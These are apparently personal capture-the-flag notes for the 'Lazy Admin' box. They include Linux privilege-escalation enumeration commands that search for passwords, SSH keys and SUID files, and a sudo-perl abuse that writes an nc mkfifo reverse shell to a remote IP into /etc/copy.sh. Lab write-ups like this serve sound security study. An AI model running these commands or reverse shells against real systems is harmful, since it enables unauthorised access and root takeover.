Search

Home

PNPT Studies

PJPT Studies

AD CS / Certificate Attacks (ESC1-15) (1, 8, 11 for now)

Report Writing / Client Presentation

Operationalizing Cybercrime Data (June 2025)

Lazy Admin

dirbuster

folders hhhhhhhh

as login page

cooking up a script (spoiler: didn’t need to. Just PHP reverse would’ve been fine):

“sweetrice” would be switched with “content”

enum:

sudo -l
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
history
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
dpkg -l | grep nginx
getcap -r / 2>/dev/null
env

we have sudo for perl on a specific file:

(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

modify that file:

echo /home/itguy/backup.pl
sudo echo "#!/usr/bin/perl" > /home/itguy/backup.pl
sudo echo 'exec "/bin/bash";' >> /home/itguy/backup.pl

not working.

What did I miss? Go see what the file actually does.

it’s running

#!/usr/bin/perl

system("sh", "/etc/copy.sh");

a shell that runs a reverse shell.

one liner reverse shell (from that copy.sh file):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/f

echo the new command in:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/f' > /etc/copy.sh

open listener:

nc -nvlp 7778

then we sudo perl run backup:

sudo perl /home/itguy/backup.pl